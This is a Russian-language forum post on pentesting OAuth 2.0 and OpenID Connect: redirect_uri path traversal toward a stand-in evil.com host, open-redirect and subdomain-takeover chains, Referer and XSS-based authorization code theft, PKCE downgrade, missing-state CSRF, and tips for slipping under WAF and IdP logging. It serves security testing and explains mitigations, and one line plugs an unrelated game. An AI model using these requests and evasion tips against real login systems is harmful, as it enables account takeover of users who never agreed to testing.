Хороший разбор. Я столкнулся с похожим на одном аудите и у меня возник технический вопрос по поводу поведения самого Keycloak.Посмотреть вложение 83516
На пентесте SaaS-платформы с SSO через Keycloak я обнаружил, что авторизационный сервер принимаетredirect_uriс path traversal:https://app.client.com/callback/../../../evil.com- валидация проверяла только начало строки. Подставил свой URL, отправил crafted ссылку, authorization code пришёл на Burp Collaborator через 12 секунд после клика. Полный ATO, ноль алертов в WAF. Такие misconfig'и в OAuth 2.0 встречаются в каждом втором веб-приложении с SSO-интеграцией, и redirect URI по-прежнему остаётся самым недооценённым вектором при тестировании аутентификации.
Место атак на OAuth 2.0 в цепочке пентеста
Уязвимости OAuth 2.0 и OpenID Connect по классификации MITRE ATT&CK попадают сразу в несколько тактик. Steal Application Access Token (T1528, Credential Access) - перехват токенов для доступа от имени жертвы. Exploit Public-Facing Application (T1190, Initial Access) - эксплуатация misconfig'ов авторизационного сервера как точки входа. Browser Session Hijacking (T1185, Collection) - перехват сессии через манипуляцию OAuth flow в браузере. По OWASP это A07:2021 - Identification and Authentication Failures и API2:2023 - Broken Authentication. Подробнее - в нашем материале про атаки на аутентификацию.
На практике OAuth-тестирование начинается в фазе recon. Индикаторы: кнопка «Войти через Google/GitHub/Microsoft», запросы к/authorizeс параметрамиclient_id,redirect_uri,response_type. Если приложение использует SSO - OAuth/OIDC почти наверняка задействован.
Требования к окружению и recon
Перед тестированием подготовьте инструментарий:
Recon начинается с endpoint discovery. Запрашиваем
- Burp Suite Pro с расширением AuthMatrix - Community Edition покроет базовый перехват, но Pro нужен для Intruder и автоматизации redirect_uri-перебора
- Postman или
curlдля пошагового воспроизведения OAuth flow- Python 3.x с библиотекой
requestsдля автоматизации: генерация state/PKCE-пар, массовая проверка redirect_uri/.well-known/openid-configurationна authorization server - там перечисленыauthorization_endpoint,token_endpoint,response_types_supported,code_challenge_methods_supported. Если последнее поле отсутствует - PKCE(Proof Key for Code Exchange) не обязателен, и поверхность атаки сразу расширяется. Фиксируемredirect_uriиз регистрации клиента (если доступно через dynamic client registration или документацию) - это базовая точка для redirect URI manipulation.
Redirect URI Manipulation: обход валидации на практике
Посмотреть вложение 83546📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Процесс нормализации представляет собой превращение относительного пути в абсолютный с помощью встроенных функций языка.
Исследование ACM «OAuth 2.0 Redirect URI Validation Falls Short, Literally» показало, что path confusion и parameter pollution - рабочие векторы даже против серверов, которые декларируют strict matching.
Open redirect chain. Находите open redirect где-то в приложении - допустим,https://app.example.com/goto?url=https://evil.com. Если redirect_uri зарегистрирован какhttps://app.example.com/*(wildcard) или проверяется по prefix или сервер имеет слабую сатнитизацию - атакующий подставляет open redirect endpoint как redirect_uri. Авторизационный сервер считает URI валидным, но code уходит через цепочку редиректов на левый сервер. По данным Salt Labs, именно такой вектор был эксплуатирован в уязвимости Booking.com - redirect URI manipulation через недостаточную валидацию позволяла перехватить OAuth-сессию пользователя.
Subdomain takeover. Если redirect_uri содержит wildcard*.example.com, а CNAME дляstaging.example.comуказывает на деактивированный облачный ресурс - атакующий захватывает subdomain и получает валидный redirect endpoint. Исследователи Descope описали аналогичный вектор с Google OAuth domain takeover, где expired domain позволял войти в аккаунт жертвы.
При таком раскладе, фишинг атака становится просто критически высокого уровня, поскольку пользователи видят официальный SSL-сертификат и знакомый домен.
Более того, если для поддомена настроены MX-записи, хакер может отправлять и принимать письма от лица компании.
Проверка в Burp Suite
В Burp Proxy перехватываем запрос кauthorization_endpoint. Параметрredirect_uri- наша цель. Отправляем в Repeater и тестируем мутации:
Что проверять?Код:GET /authorize?response_type=code &client_id=legit_client_id &redirect_uri=https://app.example.com/callback/../../../evil.com &scope=openid+profile+email &state=random_value HTTP/1.1 Host: auth.example.com
Ответ 302 с вашим URI в заголовке
- Удаление path (
/callback→/)- Добавление subpath (
/callback/../../admin)- URL-encoded символы (
%2e%2e%2fвместо../)- Параметры в URI (
/callback?next=https://evil.com)- Подстановку другого домена в path.
- Каждую мутацию - в Repeater.
Locationозначает: валидация обойдена.
Для автоматизации: Burp Intruder с payload-списком из 20-30 мутаций redirect_uri, throttle 1 request/sec (чтобы не триггерить rate limiting на IdP).
Перехват Authorization Code
Authorization code - одноразовый, живёт секунды. Но если перехватить его до обмена на token легитимным клиентом - атакующий получает доступ от имени жертвы. Помимо redirect URI manipulation есть менее очевидные каналы утечки.
Утечка через Referer Header
Механизм, который русскоязычные источники почти не разбирают на уровне HTTP-запросов. После получения authorization code браузер перенаправляется на redirect_uri с code в query string:https://app.example.com/callback?code=AUTH_CODE&state=xxx. Если на странице callback загружаются внешние ресурсы - скрипт аналитики, шрифт с CDN, пиксель трекинга - браузер отправит полный URL включая?code=AUTH_CODEв заголовкеRefererпри запросе к третьей стороне.
Согласно IETF Security BCP (раздел 4.2 «Credential Leakage via Referer Headers»), это документированная угроза с конкретной мерой защиты: установитьReferrer-Policy: no-referrerна callback-странице.
Как проверять?
Разработчики регулярно забывают об этом: ставят PKCE, внедряют BFF, но оставляют Google Analytics JS на callback-странице. Я видел это на трёх независимых проектах - и каждый раз удивлялся, как тщательно выстроенная архитектура рушилась из-за одного скрипта.
- Проходим полный OAuth flow через Burp.
- В HTTP History фильтруем запросы к third-party доменам, отправленные со страницы callback. Если в заголовке
Refererприсутствует?code=- вектор подтверждён.
Прерывание OAuth Flow через XSS
Более сложная техника, подробно описанная в Habr-статье об authorization code injection. Суть: атакующий, имея XSS в том же origin, что и redirect_uri, открывает скрытый iframe с authorization request. Если у жертвы есть активная сессия на IdP - авторизация проходит silent (без взаимодействия). Code возвращается в iframe, и JavaScript атакующего читает его (same-origin policy позволяет доступ к содержимому).
Ключевой момент:HttpOnlycookie на session ID не защищают. Атакующий не крадёт существующую сессию - он инициирует новый OAuth flow и получает свежий code. Как описано в OAuth 2.0 for Browser-Based Applications: «атакующий получает свои собственные учётные данные», не компрометируя существующие.
Когда работает:
Когда НЕ работает:
- XSS в любом месте origin приложения (не обязательно на странице callback)
response_modeнеform_post(form_post отправляет code в теле POST, недоступном клиентскому JS)- У жертвы есть активная сессия на IdP
Применимость: внешний пентест веб-приложений с OAuth/OIDC. Требуется предварительная XSS в origin - это отдельный вектор, который нужно найти до эксплуатации OAuth flow.
- IdP требует повторного consent при каждом запросе (
prompt=consent)- Используется
form_postresponse mode- CSP запрещает iframe с доменом IdP
OAuth Token Theft: implicit flow и 307 redirect
Implicit flow ([URL='https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics']response_type=token[/URL]) возвращает access token прямо во fragment URL:https://app.example.com/callback#access_token=eyJ.... IETF Security BCP прямо рекомендует отказаться от implicit flow. Но на пентестах он встречается до сих пор - в legacy SPA, мобильных WebView и приложениях, собранных по устаревшим туториалам с 2017 года.
Если в authorization request вы видитеresponse_type=token- это уязвимость в контексте современных рекомендаций. Фрагмент URI не отправляется серверу (не попадает в логи), но доступен через JavaScript. Для blue team это слепая зона: токен утёк, а в серверных логах тишина. Связка с XSS даёт прямой ATO без необходимости обмена code на token.
Отдельно стоит вспомнить инцидент с GitHub, Heroku и Travis CI, описанный исследователями Descope: атакующие похитили OAuth-токены из интеграций Heroku и Travis CI, использовали их для доступа к приватным GitHub-репозиториям и далее обнаружили AWS-credentials, что дало доступ к инфраструктуре npm. OAuth token theft - не маловероятная проблема, а путь к lateral movement через trust chain между сервисами.
307 Redirect Exploit. Менее известный вектор (IETF BCP, раздел 4.12). Если авторизационный сервер возвращает HTTP 307 вместо 302 после аутентификации, браузер пересылает тело POST-запроса (включая credentials пользователя) на redirect_uri клиента. Применимо к self-hosted IdP (Keycloak, кастомные реализации) - проверяйте HTTP status code в Burp после отправки формы логина на IdP. Разница между 302 и 307 - одна цифра, а последствия принципиально разные.
PKCE Bypass и CSRF через отсутствие state
Посмотреть вложение 83547
PKCE Downgrade Attack
PKCE (RFC 7636) связываетcode_verifierсcode_challenge- без verifier перехваченный code бесполезен. Но если авторизационный сервер не обязывает PKCE - атакующий отправляет authorization request безcode_challenge. Сервер принимает запрос, code выдаётся без привязки к verifier. Это и есть PKCE downgrade, описанный в чек-листе Xakep и IETF BCP раздел 4.8.
Проверка: отправляем authorization request без параметровcode_challengeиcode_challenge_method. Если сервер возвращает 302 с code - downgrade возможен. Из/.well-known/openid-configurationполеcode_challenge_methods_supported: если отсутствует - PKCE скорее всего опционален.
Тут есть нюанс, который часто упускают. PKCE для confidential clients (серверных приложений сclient_secret) - не панацея. Как детально разобрано в Habr-статье: при XSS в origin клиента атакующий контролирует и challenge, и verifier, потому что он сам инициирует flow. PKCE защищает от перехвата чужого code третьей стороной, но не от создания нового flow из контекста XSS.
CSRF в OAuth через отсутствие state
Параметрstate- одноразовый токен, привязанный к сессии пользователя. Без него атакующий подставляет свой authorization code в callback-URL жертвы, и приложение привязывает аккаунт жертвы к аккаунту атакующего на IdP. Классическая CSRF-атака на OAuth, описанная в IETF BCP раздел 4.7.
Проверка: удаляемstateиз authorization request или подставляем произвольное значение. Если приложение принимает callback без валидации state - CSRF подтверждена. В OpenID Connect аналогичную роль выполняетnonce, но проверяйте оба параметра.
Выбор вектора: decision tree для пентестера
Условие Техника Инструмент redirect_uri принимает нестандартные значения Redirect URI manipulation Burp Repeater + Intruder Wildcard в redirect_uri + open redirect в приложении Open redirect chain Burp, paramspider для поиска open redirect XSS в origin приложения, response_mode не form_post Прерывание flow + code theft через iframe JS payload в XSS response_type=token (implicit flow) Token extraction через fragment XSS payload, Referer leakage PKCE не обязателен на AS PKCE downgrade + code interception Burp Repeater (удалить code_challenge) Внешние ресурсы на callback-странице Referer header leakage Burp HTTP History, фильтр Referer IdP отвечает 307 вместо 302 307 redirect credential leak Burp, проверка status code Параметр state отсутствует или не валидируется CSRF - привязка аккаунта атакующего Crafted callback URL Клиент работает с несколькими IdP Mix-Up Attack - подмена issuer Подмена authorization server в ответе
Порядок тестирования: recon (/.well-known/openid-configuration) - redirect URI fuzzing - проверка PKCE enforcement - Referer leakage - state validation - XSS-зависимые векторы.
Что видит WAF при атаках на OAuth 2.0
OPSEC при тестировании OAuth - отдельная история. Где ваши действия оставляют следы:
IdP-логи. Каждый authorization request логируется. Keycloak пишет все authorization events, Azure AD фиксирует consent grants. Массовый перебор redirect_uri создаёт аномалию. Рекомендация: throttle в Intruder 1 req/sec, не более 30 мутаций за сессию.
WAF. ModSecurity и cloud WAF (Cloudflare, AWS WAF) ловят URL-encoded path traversal (%2e%2e%2f) в query parameters. Чистые URL-мутации (подмена path, добавление параметров) обычно не триггерят правила - WAF видит валидный HTTP-запрос к легитимному домену.
Приложение. Большинство приложений не логируют значениеredirect_uriиз authorization response - это и делает redirect URI manipulation тихим вектором. Implicit flow ещё тише: фрагмент URI (#access_token=...) не доходит до сервера вообще, в логах пусто.
Слепая зона blue team. Основная проблема - корреляция между authorization event на IdP и token usage на resource server. Без SIEM-правила, связывающего эти события, token theft через redirect manipulation остаётся невидимым.
За два с лишним года тестирования OAuth-интеграций в продуктовых компаниях я наблюдаю один и тот же паттерн: команды внедряют OAuth по документации провайдера (Auth0, Keycloak, Azure AD), но не проверяют поведение при нестандартном input. Документация описывает happy path. Задача пентестера - проверить unhappy path: что будет, если redirect_uri содержит../, еслиcode_challengeотсутствует, еслиresponse_modeподменён на fragment вместо form_post.
Самый недооценённый вектор из всех описанных - Referer leakage. Разработчики внедряют PKCE, строят BFF-архитектуру, ставят HttpOnly на cookies - и при этом оставляют analytics-скрипт на callback-странице, через который authorization code утекает в заголовке Referer. Ни один WAF не среагировал, потому что Referer - штатный механизм HTTP, а не аномалия.
PKCE подаётся как решение всех проблем OAuth-безопасности. В реальности PKCE закрывает ровно один сценарий: перехват чужого authorization code. Он не защищает от XSS в origin клиента, где атакующий инициирует собственный flow и контролирует оба компонента - и challenge, и verifier. BFF тоже не серебряная пуля: session ID, выданный серверной частью после code exchange, перехватывается тем же JavaScript из iframe - HttpOnly cookie не помеха, потому что атакующий читаетSet-Cookieиз заголовка ответа на свой же fetch-запрос. На HackerLab.pro в web-категории есть задачи, где OAuth redirect bypass нужно довести до рабочего ATO - на живом стенде каждый шаг ощущается иначе, чем в writeup.
После решения таких сложных задач я обычно открываю Мелстрой Гейм чтобы просто переключить внимание и отдохнуть.
Вы тестировали этот обход путей на дефолтных настройках или там в панели админа в поле разрешенных адресов была прописана обычная звездочка? Просто в относительно свежих версиях они закрутили гайки со строгим соответствием строк и мне интересно, получилось ли обойти именно стандартную валидацию.
Последнее редактирование:
Комментарии
2